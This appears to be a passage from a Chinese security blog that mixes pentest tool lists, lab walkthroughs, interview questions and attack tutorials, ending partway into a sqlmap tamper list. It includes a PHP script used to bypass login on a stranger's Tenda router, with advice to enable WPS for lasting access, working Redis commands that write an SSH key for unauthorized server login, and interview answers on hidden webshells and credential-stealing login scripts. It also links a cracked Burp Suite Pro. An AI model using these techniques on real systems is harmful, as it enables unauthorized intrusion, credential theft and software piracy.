漏洞练习平台总结 渗透测试

漏洞及渗透练习平台:

WebGoat漏洞练习环境

https://github.com/WebGoat/WebGoat

https://github.com/WebGoat/WebGoat-Legacy

Damn Vulnerable Web Application(漏洞练习平台)

https://github.com/RandomStorm/DVWA


数据库注入练习平台  

https://github.com/Audi-1/sqli-labs


用node编写的漏洞练习平台,like OWASP Node Goat

https://github.com/cr0hn/vulnerable-node


花式扫描器 :

端口扫描器Nmap

https://github.com/nmap/nmap


本地网络扫描器

https://github.com/SkyLined/LocalNetworkScanner


子域名扫描器

https://github.com/lijiejie/subDomainsBrute


漏洞路由扫描器

https://github.com/jh00nbr/Routerhunter-2.0


迷你批量信息泄漏扫描脚本

https://github.com/lijiejie/BBScan


Waf类型检测工具

https://github.com/EnableSecurity/wafw00f


信息搜集工具 :

社工插件,可查找以email、phone、username的注册的所有网站账号信息

https://github.com/n0tr00t/Sreg


Github信息搜集,可实时扫描查询git最新上传有关邮箱账号密码信息

https://github.com/sea-god/gitscan


github Repo信息搜集工具

https://github.com/metac0rtex/GitHarvester


WEB:

webshell大合集

https://github.com/tennc/webshell


渗透以及web攻击脚本

https://github.com/brianwrf/hackUtils


web渗透小工具大合集

https://github.com/rootphantomer/hack_tools_for_me


XSS数据接收平台

https://github.com/firesunCN/BlueLotus_XSSReceiver


XSS与CSRF工具

https://github.com/evilcos/xssor


Short for command injection exploiter,web向命令注入检测工具

https://github.com/stasinopoulos/commix


数据库注入工具

https://github.com/sqlmapproject/sqlmap


Web代理,通过加载sqlmap api进行sqli实时检测

https://github.com/zt2/sqli-hunter


新版中国菜刀

https://github.com/Chora10/Cknife


.git泄露利用EXP

https://github.com/lijiejie/GitHack


浏览器攻击框架

https://github.com/beefproject/beef


自动化绕过WAF脚本

https://github.com/khalilbijjou/WAFNinja


http命令行客户端,可以从命令行构造发送各种http请求(类似于Curl)

https://github.com/jkbrzt/httpie


浏览器调试利器

https://github.com/firebug/firebug


一款开源WAF

https://github.com/SpiderLabs/ModSecurity


windows域渗透工具:

windows渗透神器

https://github.com/gentilkiwi/mimikatz


Powershell渗透库合集

https://github.com/PowerShellMafia/PowerSploit


Powershell tools合集

https://github.com/clymb3r/PowerShell


Fuzz:

Web向Fuzz工具

https://github.com/xmendez/wfuzz


HTTP暴力破解,撞库攻击脚本

https://github.com/lijiejie/htpwdScan


漏洞利用及攻击框架:

msf

https://github.com/rapid7/metasploit-framework


Poc调用框架,可加载Pocsuite,Tangscan,Beebeeto等

https://github.com/erevus-cn/pocscan


Pocsuite

https://github.com/knownsec/Pocsuite


Beebeeto

https://github.com/n0tr00t/Beebeeto-framework


漏洞POC&EXP:

ExploitDB官方git版本

https://github.com/offensive-security/exploit-database


php漏洞代码分析

https://github.com/80vul/phpcodz


Simple test for CVE-2016-2107

https://github.com/FiloSottile/CVE-2016-2107


CVE-2015-7547 POC

https://github.com/fjserna/CVE-2015-7547


JAVA反序列化POC生成工具

https://github.com/frohoff/ysoserial


JAVA反序列化EXP

https://github.com/foxglovesec/JavaUnserializeExploits


Jenkins CommonCollections EXP

https://github.com/CaledoniaProject/jenkins-cli-exploit


CVE-2015-2426 EXP (windows内核提权)

https://github.com/vlad902/hacking-team-windows-kernel-lpe


use docker to show web attack(php本地文件包含结合phpinfo getshell 以及ssrf结合curl的利用演示)

https://github.com/hxer/vulnapp


php7缓存覆写漏洞Demo及相关工具

https://github.com/GoSecure/php7-opcache-override


XcodeGhost木马样本

https://github.com/XcodeGhostSource/XcodeGhost


中间人攻击及钓鱼

中间人攻击框架

https://github.com/secretsquirrel/the-backdoor-factory

https://github.com/secretsquirrel/BDFProxy

https://github.com/byt3bl33d3r/MITMf


Inject code, jam wifi, and spy on wifi users

https://github.com/DanMcInerney/LANs.py


可扩展的中间人代理工具

https://github.com/intrepidusgroup/mallory


wifi钓鱼

https://github.com/sophron/wifiphisher


密码破解:

密码破解工具

https://github.com/shinnok/johnny


本地存储的各类密码提取利器

https://github.com/AlessandroZ/LaZagne


二进制及代码分析工具:

二进制分析工具

https://github.com/devttys0/binwalk


系统扫描器,用于寻找程序和库然后收集他们的依赖关系,链接等信息

https://github.com/quarkslab/binmap


rp++ is a full-cpp written tool that aims to find ROP sequences in PE/Elf/Mach-O (doesn't support the FAT binaries) x86/x64 binaries.

https://github.com/0vercl0k/rp


Windows Exploit Development工具

https://github.com/lillypad/badger


二进制静态分析工具(python)

https://github.com/bdcht/amoco


Python Exploit Development Assistance for GDB

https://github.com/longld/peda


对BillGates Linux Botnet系木马活动的监控工具

https://github.com/ValdikSS/billgates-botnet-tracker


木马配置参数提取工具

https://github.com/kevthehermit/RATDecoders


Shellphish编写的二进制分析工具(CTF向)

https://github.com/angr/angr


针对python的静态代码分析工具

https://github.com/yinwang0/pysonar2


一个自动化的脚本(shell)分析工具,用来给出警告和建议

https://github.com/koalaman/shellcheck


基于AST变换的简易Javascript反混淆辅助工具

https://github.com/ChiChou/etacsufbo


EXP编写框架及工具:

二进制EXP编写工具

https://github.com/t00sh/rop-tool


CTF Pwn 类题目脚本编写框架

https://github.com/Gallopsled/pwntools


an easy-to-use io library for pwning development

https://github.com/zTrix/zio


跨平台注入工具( Inject JavaScript to explore native apps on Windows, Mac, Linux, iOS and Android.)

https://github.com/frida/frida


隐写:

隐写检测工具

https://github.com/abeluck/stegdetect


各类安全资料:

域渗透教程

https://github.com/l3m0n/pentest_study


python security教程(原文链接http://www.primalsecurity.net/tutorials/python-tutorials/)

https://github.com/smartFlash/pySecurity


data_hacking合集

https://github.com/ClickSecurity/data_hacking


mobile-security-wiki

https://github.com/exploitprotocol/mobile-security-wiki


书籍《reverse-engineering-for-beginners》

https://github.com/veficos/reverse-engineering-for-beginners


一些信息安全标准及设备配置

https://github.com/luyg24/IT_security


APT相关笔记

https://github.com/kbandla/APTnotes


Kcon资料

https://github.com/knownsec/KCon


ctf及黑客资源合集

https://github.com/bt3gl/My-Gray-Hacker-Resources


ctf和安全工具大合集

https://github.com/zardus/ctf-tools


《DO NOT FUCK WITH A HACKER》

https://github.com/citypw/DNFWAH


各类CTF资源

近年ctf writeup大全

https://github.com/ctfs/write-ups-2016

https://github.com/ctfs/write-ups-2015

https://github.com/ctfs/write-ups-2014


fbctf竞赛平台Demo

https://github.com/facebook/fbctf


ctf Resources

https://github.com/ctfs/resources


各类编程资源:

大礼包(什么都有)

https://github.com/bayandin/awesome-awesomeness


bash-handbook

https://github.com/denysdovhan/bash-handbook


python资源大全

https://github.com/jobbole/awesome-python-cn


git学习资料

https://github.com/xirong/my-git


安卓开源代码解析

https://github.com/android-cn/android-open-project-analysis


python框架,库,资源大合集

https://github.com/vinta/awesome-python


JS 正则表达式库(用于简化构造复杂的JS正则表达式)

https://github.com/VerbalExpressions/JSVerbalExpressions


Python:

python 正则表达式库(用于简化构造复杂的python正则表达式)

https://github.com/VerbalExpressions/PythonVerbalExpressions


python任务管理以及命令执行库

https://github.com/pyinvoke/invoke


python exe打包库

https://github.com/pyinstaller/pyinstaller


py3 爬虫框架

https://github.com/orf/cyborg


一个提供底层接口数据包编程和网络协议支持的python库

https://github.com/CoreSecurity/impacket


python requests 库

https://github.com/kennethreitz/requests


python 实用工具合集

https://github.com/mahmoud/boltons


python爬虫系统

https://github.com/binux/pyspider


ctf向 python工具包

https://github.com/P1kachu/v0lt


科学上网:

科学上网工具

https://github.com/XX-net/XX-Net


福利:

微信自动抢红包动态库


https://github.com/east520/AutoGetRedEnv


微信抢红包插件(安卓版)

https://github.com/geeeeeeeeek/WeChatLuckyMoney

神器

https://github.com/yangyangwithgnu/hardseed


admin 发布于  2017-3-26 16:37 

nessus Error (500): Activation failed的解决办法 安全工具

nessus的大名我就不多做介绍了,玩的人自然懂.今天给新机器安装的时候,到注册哪一步,输入发到邮箱的激活码,却提示我,nessus Error (500): Activation failed.

Google了一下,没有,但是在官方的论坛找到了Error (500): Failed to launch scan的解答,然后,怀着姑且试一试的心态,成功了,所以在此小记一下,希望可以帮到需要的人.下面先说激活码的获得步骤,呵,这是老生常谈的,我也还是记一下,就当笔记吧.

直接访问这个网址注册,即可在邮箱收到激活码:http://www.tenable.com/products/nessus-home

PS:全程最好使用代理,VPN,最好是美国的IP,使用国内的IP有可能会收不到激活码或者是注册失败.

PPS:邮箱推荐使用gmail邮箱.

最后就是这篇文章的主题,解决注册码输入提示错误的问题.

打开cmd. 执行一下命令(前提是你是默认安装路径没有改,请酌情注意路径/修改) 

cd c:\program files\tenable\nessus

net stop "tenable nessus"

nessuscli update --all

我执行第二条 net stop命令时,报错,11111.png


这时候再回到输入激活码的那个页面,刷新一下,再次输入激活码,OK...成功进入自动升级配置界面,慢慢等待吧,第一次时间很长的,嗯,很长,几分钟-_-,全程VPN会快些.毕竟他的更新服务器在国外....当然插件这些可以离线手动更新.

22222.png

下面贴上Error (500): Failed to launch scan的解决办法:

Try these commands.


Windows:

Open CMD as admin

cd c:\program files\tenable\nessus

net stop "tenable nessus"

nessuscli update --all

nessusd -R

net start "tenable nessus


Linux:

Open a root shell/command prompt window.

cd /opt/nessus/sbin

service nessusd stop

./nessuscli update --all

./nessusd -R

service nessusd start


When you run the nessuscli update --all and gets an error, you need to reset their activation code and run the command 'nessuscli fetch --register <Activation-code-here>' after stopping Nessus

参考链接: https://community.tenable.com/thread/10242



admin 发布于  2017-3-18 17:53 

一套实用的渗透测试岗位面试题,你会吗? 渗透测试

21.jpg

1.拿到一个待检测的站,你觉得应该先做什么?

  • 收集信息
    whois、网站源IP、旁站、C段网站、服务器系统版本、容器版本、程序版本、数据库类型、二级域名、防火墙、维护者信息另说...

2.mysql的网站注入,5.0以上和5.0以下有什么区别?

  • 5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。

  • 5.0以下是多用户单操作,5.0以上是多用户多操做。

3.在渗透过程中,收集目标站注册人邮箱对我们有什么价值?

  • 丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。

  • 用邮箱做关键词进行丢进搜索引擎。

  • 利用搜索到的关联信息找出其他邮进而得到常用社交账号。

  • 社工找出社交账号,里面或许会找出管理员设置密码的习惯 。

  • 利用已有信息生成专用字典。

  • 观察管理员常逛哪些非大众性网站,拿下它,你会得到更多好东西。

4.判断出网站的CMS对渗透有什么意义?

  • 查找网上已曝光的程序漏洞。

  • 如果开源,还能下载相对应的源码进行代码审计。

5.一个成熟并且相对安全的CMS,渗透时扫目录的意义?

  • 敏感文件、二级目录扫描

  • 站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点

6.常见的网站服务器容器。

  • IIS、Apache、nginx、Lighttpd、Tomcat

7.mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?

  • root权限以及网站的绝对路径。

8.目前已知哪些版本的容器有解析漏洞,具体举例。

  • IIS 6.0
    /xx.asp/xx.jpg "xx.asp"是文件夹名

  • IIS 7.0/7.5
    默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析

  • Nginx
    版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭情况下也可利用。
    空字节代码 xxx.jpg%00.php

  • Apache
    上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀

  • lighttpd
    xx.jpg/xx.php,不全,请小伙伴们在评论处不吝补充,谢谢!

9.如何手工快速判断目标站是windows还是linux服务器?

  • linux大小写敏感,windows大小写不敏感。

10.为何一个mysql数据库的站,只有一个80端口开放?

  • 更改了端口,没有扫描出来。

  • 站库分离。

  • 3306端口不对外开放

11.3389无法连接的几种情况。

  • 没开放3389 端口

  • 端口被修改

  • 防护拦截

  • 处于内网(需进行端口转发)

12.如何突破注入时字符被转义?

  • 宽字符注入

  • hex编码绕过

13.在某后台新闻编辑界面看到编辑器,应该先做什么?

  • 查看编辑器的名称版本,然后搜索公开的漏洞。

14.拿到一个webshell发现网站根目录下有.htaccess文件,我们能做什么?

  • 能做的事情很多,用隐藏网马来举例子:
    插入
    <FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php </FilesMatch>
    .jpg文件会被解析成.php文件。

  • 具体其他的事情,不好详说,建议大家自己去搜索语句来玩玩。

15.注入漏洞只能查账号密码?

  • 只要权限广,拖库脱到老。

16.安全狗会追踪变量,从而发现出是一句话木马吗?

  • 是根据特征码,所以很好绕过了,只要思路宽,绕狗绕到欢,但这应该不会是一成不变的。

17.access 扫出后缀为asp的数据库文件,访问乱码。如何实现到本地利用。

  • 迅雷下载,直接改后缀为.mdb。

18.提权时选择可读写目录,为何尽量不用带空格的目录?

  • 因为exp执行多半需要空格界定参数

19.某服务器有站点A,B 为何在A的后台添加test用户,访问B的后台。发现也添加上了test用户?

  • 同数据库。

20.注入时可以不使用and 或or 或xor,直接order by 开始注入吗?

  • and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省那步骤去。

21:某个防注入系统,在注入时会提示:

 系统检测到你有非法注入的行为。
 已记录您的ip xx.xx.xx.xx
 时间:2016:01-23
 提交页面:test.asp?id=15
 提交内容:and 1=1

如何利用这个防注入系统拿shell?

  • 在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接。具体文章参见:http://ytxiao.lofter.com/post/40583a_ab36540。

22.上传大马后访问乱码时,有哪些解决办法?

  • 浏览器中改编码。

23.审查上传点的元素有什么意义?

  • 有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。

24.目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用?

  • 先爆破用户名,再利用被爆破出来的用户名爆破密码。

  • 其实有些站点,在登陆处也会这样提示

  • 所有和数据库有交互的地方都有可能有注入。

25.目标站发现某txt的下载地址为http://www.test.com/down/down.php?file=/upwdown/1.txt,你有什么思路?

  • 这就是传说中的下载漏洞!在file=后面尝试输入index.php下载他的首页文件,然后在首页文件里继续查找其他网站的配置文件,可以找出网站的数据库密码和数据库的地址。

26.甲给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存在编辑器和admin目录。请问你的想法是?

  • 直接在网站二级目录/abc/下扫描敏感文件及目录。

27.在有shell的情况下,如何使用xss实现对目标站的长久控制?

  • 后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)。

  • 在登录后才可以访问的文件中插入XSS脚本。

28.后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码?

  • 审查元素 把密码处的password属性改成text就明文显示了

29.目标站无防护,上传图片可以正常访问,上传脚本格式访问则403.什么原因?

  • 原因很多,有可能web服务器配置把上传目录写死了不执行相应脚本,尝试改后缀名绕过

30.审查元素得知网站所使用的防护软件,你觉得怎样做到的?

  • 在敏感操作被拦截,通过界面信息无法具体判断是什么防护的时候,F12看HTML体部 比如护卫神就可以在名称那看到<hws>内容<hws>

31.在win2003服务器中建立一个 .zhongzi文件夹用意何为?

  • 隐藏文件夹,为了不让管理员发现你传上去的工具。


32、sql注入有以下两个测试选项,选一个并且阐述不选另一个的理由: 


A. demo.jsp?id=2+1       B. demo.jsp?id=2-1 
选B,在 URL 编码中 + 代表空格,可能会造成混淆


33、以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路? 


demo.do?DATA=AjAxNg== 
DATA有可能经过了 base64 编码再传入服务器,所以我们也要对参数进行 base64 编码才能正确完成测试


34、发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选? 


有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell 
使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高 
通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell


35、CSRF 和 XSS 和 XXE 有什么区别,以及修复方式? 


XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。 


CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer 
XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。


36、CSRF、SSRF和重放攻击有什么区别? 


CSRF是跨站请求伪造攻击,由客户端发起 
SSRF是服务器端请求伪造,由服务器发起 
重放攻击是将截获的数据包进行重放,达到身份认证等目的


37、说出至少三种业务逻辑漏洞,以及修复方式? 


密码找回漏洞中存在密码允许暴力破解、存在通用型找回凭证、可以跳过验证步骤、找回凭证可以拦包获取等方式来通过厂商提供的密码找回功能来得到密码 
身份认证漏洞中最常见的是会话固定攻击和 Cookie 仿冒,只要得到 Session 或 Cookie 即可伪造用户身份 
验证码漏洞中存在验证码允许暴力破解、验证码可以通过 Javascript 或者改包的方法来进行绕过


38、圈出下面会话中可能存在问题的项,并标注可能会存在的问题?


get /ecskins/demo.jsp?uid=2016031900&keyword=”hello world” 
HTTP/1.1Host:*******.com:82User-Agent:Mozilla/ 5.0 Firefox/40Accept:text/css,*/*;q=0.1
Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3
Referer:http://*******.com/eciop/orderForCC/
cgtListForCC.htm?zone=11370601&v=145902
Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;
uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;
st_uid=N90PLYHLZGJXI-NX01VPUF46W;
status=True
Connection:keep-alive 

39、找一类你最擅长的漏洞,谈下绕过漏洞修复后的方案?

40、你常用的渗透工具有哪些,最常用的是哪个?

41、描述一个你深入研究过的 CVE 或 POC。

42、谈谈你经常关注的安全平台?


admin 发布于  2017-3-5 08:50 

Kali渗透测试演练Metasploitable靶机(附详细word文档+乌云_vmware_201606) Linux

Kali渗透测试演练Metasploitable靶机

准备工作:

VM虚拟机(http://www.vmware.com/cn.html

Kalihttps://www.offensive-security.com/kali-linux-vmware-virtualbox-image-download/

Metasploitable靶机(https://sourceforge.net/projects/metasploitable/

要求Kali和靶机在同一个Lan

在开始工作前都确认一一下是否在同一个Lan段,分别登录Kali和靶机使用ifconfig 命令查看

注意:Metasploitable的默认账号、密码是:msfadmin:msfadminKali的默认是root:toor

1.png
第一阶段:扫描阶段,工具 namp 

命令:隐蔽扫描:nmap -sS 192.168.209.138


端口爆破:FTPSSH

工具:Hydra

备用字典:

爆破FTP

hydra -L  /root/Desktop/user.txt  -P  /root/Desktop/pass.txt ftp://192.168.209.138

爆破ssh

hydra -L  /root/Desktop/user.txt  -P  /root/Desktop/pass.txt 192.168.209.138 ssh

通过23端口telnet登录进系统

图片过多,我就不一一上传了,都在文档里面,主要包括以下的测试列表,初学者可以测试体验:

  • 端口爆破:FTP、SSH等
  • 利用metasploit进行端口渗透等
  • 8180——-Apache Tomcat弱口令等

Kali渗透测试演练Metasploitable靶机.docx 

百度网盘链接: https://pan.baidu.com/s/1o8HcuAA 有什么问题的可以留言或者是邮件

乌云_vmware_201606点击查看原图


admin 发布于  2017-1-28 10:18 

【转载】基于约束的SQL攻击 渗透测试

前言

值得庆幸的是如今开发者在构建网站时,已经开始注重安全问题了。绝大部分开发者都意识到SQL注入漏洞的存在,在本文我想与读者共同去探讨另一种与SQL数据库相关的漏洞,其危害与SQL注入不相上下,但却不太常见。接下来,我将为读者详细展示这种攻击手法,以及相应的防御策略。

注意:本文不是讲述SQL注入攻击

背景介绍

最近,我遇到了一个有趣的代码片段,开发者尝试各种方法来确保数据库的安全访问。当新用户尝试注册时,将运行以下代码:

<?php
// Checking whether a user with the same username exists $username = mysql_real_escape_string($_GET['username']);
$password = mysql_real_escape_string($_GET['password']);
$query = "SELECT *
          FROM users
          WHERE username='$username'";
$res = mysql_query($query, $database); if($res) { if(mysql_num_rows($res) > 0) { // User exists, exit gracefully
    .
    .
  } else { // If not, only then insert a new entry
    $query = "INSERT INTO users(username, password)
              VALUES ('$username','$password')";
    .
    .
  }
} 

使用以下代码验证登录信息:

<?php
$username = mysql_real_escape_string($_GET['username']);
$password = mysql_real_escape_string($_GET['password']);
$query = "SELECT username FROM users
          WHERE username='$username'
              AND password='$password' ";
$res = mysql_query($query, $database); if($res) { if(mysql_num_rows($res) > 0){
      $row = mysql_fetch_assoc($res); return $row['username'];
  }
} return Null; 

安全考虑:

  • 过滤用户输入参数了吗? — 完成检查

  • 使用单引号(’)来增加安全性了吗? — 完成检查

按理说应该不会出错了啊?

然而,攻击者依然能够以任意用户身份进行登录!

攻击手法

在谈论这种攻击手法之前,首先我们需要了解几个关键知识点。

  1. 在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)例如以下语句的查询结果,与使用用户名“vampire”进行查询时的结果是一样的。

    SELECT * FROM users WHERE username='vampire     '; 

    但也存在异常情况,最好的例子就是LIKE子句了。注意,对尾部空白符的这种修剪操作,主要是在“字符串比较”期间进行的。这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。

  2. 在所有的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符,那么在插入字符串“vampire”时,实际上只能插入字符串的前5个字符,即“vampi”。

现在,让我们建立一个测试数据库来演示具体攻击过程。

vampire@linux:~$ mysql -u root -p
mysql> CREATE DATABASE testing; Query OK, 1 row affected (0.03 sec) mysql> USE testing; Database changed 

接着创建一个数据表users,其包含username和password列,并且字段的最大长度限制为25个字符。然后,我将向username字段插入“vampire”,向password字段插入“my_password”。

mysql> CREATE TABLE users ( ->   username varchar(25),
    ->   password varchar(25)
    -> );
Query OK, 0 rows affected (0.09 sec)
mysql> INSERT INTO users
    -> VALUES('vampire', 'my_password');
Query OK, 1 row affected (0.11 sec)
mysql> SELECT * FROM users;
+----------+-------------+
| username | password    |
+----------+-------------+
| vampire  | my_password |
+----------+-------------+ 1 row in set (0.00 sec) 

为了展示尾部空白字符的修剪情况,我们可以键入下列命令:

mysql> SELECT * FROM users
    -> WHERE username='vampire       '; +----------+-------------+ | username | password    | +----------+-------------+ | vampire  | my_password | +----------+-------------+ 1 row in set (0.00 sec) 

现在我们假设一个存在漏洞的网站使用了前面提到的PHP代码来处理用户的注册及登录过程。为了侵入任意用户的帐户(在本例中为“vampire”),只需要使用用户名“vampire[许多空白符]1”和一个随机密码进行注册即可。对于选择的用户名,前25个字符应该只包含vampire和空白字符,这样做将有助于绕过检查特定用户名是否已存在的查询。

mysql> SELECT * FROM users
    -> WHERE username='vampire                   1';
Empty set (0.00 sec) 

需要注意的是,在执行SELECT查询语句时,SQL是不会将字符串缩短为25个字符的。因此,这里将使用完整的字符串进行搜索,所以不会找到匹配的结果。接下来,当执行INSERT查询语句时,它只会插入前25个字符。

mysql> INSERT INTO users(username, password)
    -> VALUES ('vampire                   1', 'random_pass');
Query OK, 1 row affected, 1 warning (0.05 sec)
mysql> SELECT * FROM users
    -> WHERE username='vampire';
+---------------------------+-------------+
| username                  | password    |
+---------------------------+-------------+
| vampire                   | my_password |
| vampire                   | random_pass |
+---------------------------+-------------+ 2 rows in set (0.00 sec) 

很好,现在我们检索“vampire”的,将返回两个独立用户。注意,第二个用户名实际上是“vampire”加上尾部的18个空格。现在,如果使用用户名“vampire”和密码“random_pass”登录的话,则所有搜索该用户名的SELECT查询都将返回第一个数据记录,也就是原始的数据记录。这样的话,攻击者就能够以原始用户身份登录。这个攻击已经在MySQL和SQLite上成功通过测试。我相信在其他情况下依旧适用。

防御手段

毫无疑问,在进行软件开发时,需要对此类安全漏洞引起注意。我们可采取以下几项措施进行防御:

  1. 将要求或者预期具有唯一性的那些列加上UNIQUE约束。实际上这是一个涉及软件开发的重要规则,即使你的代码有维持其完整性的功能,也应该恰当的定义数据。由于’username’列具有UNIQUE约束,所以不能插入另一条记录。将会检测到两个相同的字符串,并且INSERT查询将失败。

  2. 最好使用’id’作为数据库表的主键。并且数据应该通过程序中的id进行跟踪

  3. 为了更加安全,还可以用手动调整输入参数的限制长度(依照数据库设置)

注:

最好讲MySQL设置成宽松模式,set @@sql_mode=ANSI;即可,还有就是注册时,一般的这种非法的用户名是不能注册的吧。。。不过还是又利用空间的。

文章出自:https://dhavalkapil.com/blogs/SQL-Attack-Constraint-Based/


admin 发布于  2017-1-6 15:31 

burpsuite渗透测试实战指南八集+burpsuite_pro_v1.7.08破解版(含下载) 安全工具

1.png

burpsuite是什么我就不讲了,这些文档是别人写的,原文在:https://www.gitbook.com/book/t0data/burpsuite/details

文档包括完整PDF和分卷的word文档,更具自己的需求下载阅读,希望对你的渗透测试有所帮助。

burpsuite_pro_v1.7.08 下载:链接: http://pan.baidu.com/s/1bp7RVQJ 密码: 2t6n

文档下载:http://pan.baidu.com/s/1slTJXHb


最后,还有视频版的burpsuite教程,如果看不懂上面的文字版,那就看这个视频版的,哈哈。

2.png3.png

链接: http://pan.baidu.com/s/1kU8HsCf 密码: 5thn


admin 发布于  2016-11-27 10:26 

实测绕过腾达某型号路由器后台登陆认证,获得管理权限 技术文章

刚好今天住的地方网络出了问题,就打开手机随便搜索了一下附近的wifi,发现有个可以用钥匙链接,毫不犹豫地连接上去,故事就此展开了:

习惯性地在连接上陌生wifi后进一下后台,用浏览器打开网关,来到这个页面:http://192.168.0.1/login.asp点击查看原图

一看,感觉好眼熟啊,这个和之前在乌云看到的那个腾达漏洞很相似啊,为了验证一下,F12后切换到Network选项卡下面,重新请求一遍,发现从首页index.asp 301 跳转到 login.asp ,而且没有cookies,那么是否是真的是那个漏洞呢?利用php的curl写了个简单的脚本:

<?php 
echo "找到路由的备份文件就好了,密码就在里面。腾达的备份文件是RouterCfm.cfg。在工具的地址栏输入:http://192.168.0.1/cgi-bin/DownloadCfg/RouterCfm.cfg,然后点获取当前地址源码。http_passwd就是登陆密码".'<br>';
$headers = array(
    // 'GET /index.asp HTTP/1.1',
    'Host: 192.168.0.1',
    'Cookie: admin:language=cn;',

);
$url='http://192.168.0.1/index.asp';
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 120);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
 ?>


运行后的结果如下:

点击查看原图

从图上看,基本上可以判断是成功了得,再ctrl+u :点击查看原图

开始很纳闷,为啥没有宽带账号/密码,初步判断是静态IP或者是动态获取IP,从图中可以看到wifi密码是八个8--88888888 ,把配置文件下载下来后就可以看到后台的登陆密码了:

5.png

http_passwd=后面的就是路由器后台登陆密码,当然,你也可以不下载配置文件,直接在后台修改登录密码,但是这样容易被路由器的所有者发现,不建议这样做,进入路由后,如果有wps功能,请帮他打开,哈哈,这样即使他改了密码,你通过wps还是很可以轻松的拿到密码---拿下路由器。更多的关于拿下路由器后的各种姿势,请看这篇文章:破解了你的路由密码后,我还可以这样做,绝对不是蹭你网这么简单

      这个漏洞在13年的时候就出来了,而且还有很多成品工具可以一键破解,可是这些厂家和我们的人民 没有多少安全意识,特别是在公共场合的wifi,朋友们在使用的时候,一定要注意,别在这些场所进行资金操作,或者是与个人隐私相关的操作,因为,谁也不知道咋某个角落是否有一个骇客正在监听或者嗅探 or 钓鱼呢? OK ,


admin 发布于  2016-4-28 16:36 

通过redis入侵服务器的步骤 渗透测试

通过redis入侵服务器的原理是:利用了redis默认配置,许多用户没有设置访问的key。然后通过向redis把自己的公钥写入到redis,然后利更改redis的数据库文件配置,把数据写入到认证文件。形成免密码登陆。

一,生成本地ssh公钥


ssh-keygen

二,先连接redis看看



telnet 192.168.15.10 6379
redis-cli -h 192.168.15.10

三, 清一下redis数据库


redis-cli -h 192.168.15.10 flushall

四, 向redis写自己的公钥


catkey.txt |redis-cli -h 192.168.15.10 -xsetredis

五, 利用redis写入到文件中












#连接redis
#redis-cli -h 192.168.15.10
#查看keys
192.168.15.10>keys *
#写入配置库的路径及存放位置
192.168.15.10>CONFIG SETdir/root/.ssh/
#写入配置库名称及存放的名字
192.168.15.10>CONFIG SET dbfilename"authorized_keys"
#写入
192.168.15.10>save
#退出
192.168.15.10>exit

六, 远程连接

注意,这个是使用的默认的。也就是说别人是用的root来启动的redis 并且没有更改sshd配置文件的位置,以及redis可以默认的可以随意访问性的。当然有许多可以猜。

这个是最近redis爆出来的。


admin 发布于  2016-4-18 18:40 

SQLMAP tamper WAF 绕过脚本列表注释 网络安全

sqlmap的tamper目录下有41个用于绕过waf的脚本,网上有文章简要介绍过使用方法,但是只是简单说了其中少数几个的作用。本人通过这41个脚本的文档注释,将它们每一个的作用简单标记了一下,还是像之前一样,先 google translate 再人工润色。其实,文档注释里面都有例子,看一眼就大概知道效果了,比看文字描述速度还快,只不过要用的时候现场翻看还是太麻烦了。我这个列表可以给大家提供参考,来更迅速的定位自己需要的脚本。

本人英文阅读能力有限,有个别词句(其实就2处)实在拿捏不准该如何翻译,就把英文照搬过来了。另外,虽然下了不少功夫翻译和校对,但自认为错误在所难免,大家有发现我翻译错误的,请指出来,谢谢大家。

01. apostrophemask.py 用UTF-8全角字符替换单引号字符

02. apostrophenullencode.py 用非法双字节unicode字符替换单引号字符

